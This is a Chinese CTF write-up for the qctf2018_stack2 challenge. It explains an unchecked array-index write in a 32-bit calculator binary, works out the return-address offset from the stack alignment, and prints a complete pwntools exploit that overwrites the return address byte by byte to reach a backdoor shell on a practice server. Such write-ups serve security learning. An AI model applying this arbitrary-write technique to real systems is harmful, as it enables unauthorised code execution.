qctf2018_stack2

最后更新于 2024-07-16 603 字 预计阅读时间: 3 分钟


ELF32位程序,运行,是一个简单的计算机,查看保护,开启了canary和NX

放入ida中,在change numbe中v13是我们输入数字的数组,v5索引由用户输入,没有检查数组的边界造成的任意内存读写,可以修改返回地址到后门函数来getshell

查看汇编发现该程序不是正常通过push ebp mov ebp,esp sub esp实现栈空间的开辟,实现过程如下图

  • lea ecx, [esp+4] esp存放放回地址,ecx存放esp+4
  • and esp, 0FFFFFFF0h 将esp的最后一位置零
  • push dword ptr [ecx-4] 往栈中推入一个假的返回地址
  • push ebp 正常开栈
  • mov ebp, esp 正常开栈
  • push ecx 将ecx(开始时esp+4)的值推入栈

栈的回收

将ebp-4位置的值给ecx及将开辟时的0xffff0fd4里的值赋给ecx,将ecx(0xffffcff0)-4里的值赋给esp即真正的返回地址(0xffffcfec)后进行ret,那么我们的偏移应该设置为v13到ebp的距离+(0xffffcff0-0xffffcfd8)=0x70+0x14=0x84

如果不看栈空间从汇编入手,由于有ASLR的栈基址随机化保护,那么每次栈的基址不同,那and esp, 0FFFFFFF0h会导致每次程序执行有相同的偏移,虽然ASLR会使得栈的基址随机化,但是其低四位仍然是固定的,我们可以查看其低四位来判断偏移

刚开始esp低四位是0x0c,距离我们开始正常开辟栈帧的前面还有push dword ptr [ecx-4],故我们偏移应该为

  • 0x70 + 0x0c + 0x04 + 0x04=0x84
    v13 低四位 push ecx-4 到esp距离

构造exp

from pwn import *
from pwn import p64,p32,u64,u32,p8
from pwncli import *
from LibcSearcher import  *
file_name='./stack2'
debug =1
if debug:
    p = remote("node5.buuoj.cn",25454)
else:
    p = process(file_name)
context(os="linux",log_level="debug")
elf=ELF(file_name)
libc=ELF("/root/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so")
context.arch=elf.arch
ret_offset=b'132'
p.recvuntil(b"How many numbers you have:")
p.sendline(b"2")
backdoor=[0xAF,0x85,0x04,0x08]
for x in range(2):
    p.sendline(b"10")
#gdb.attach(p, "b *0x8048851")
for x in range(4):
    p.recvuntil(b"5. exit")
    p.sendline(b'3')
    p.recvuntil(b"which number to change:")
    p.sendline(ret_offset)
    ret_offset=str(int(ret_offset.decode())+1).encode()
    p.recvuntil(b"new number:")
    p.sendline(str(backdoor[x]).encode())
    print(str(backdoor[x]).encode())
    #pause()
p.recvuntil(b"5. exit")
p.sendline(b'5')
p.interactive()

每次只能改一个字节,要改4次,最终得到shell

此作者没有提供个人介绍。
最后更新于 2024-07-16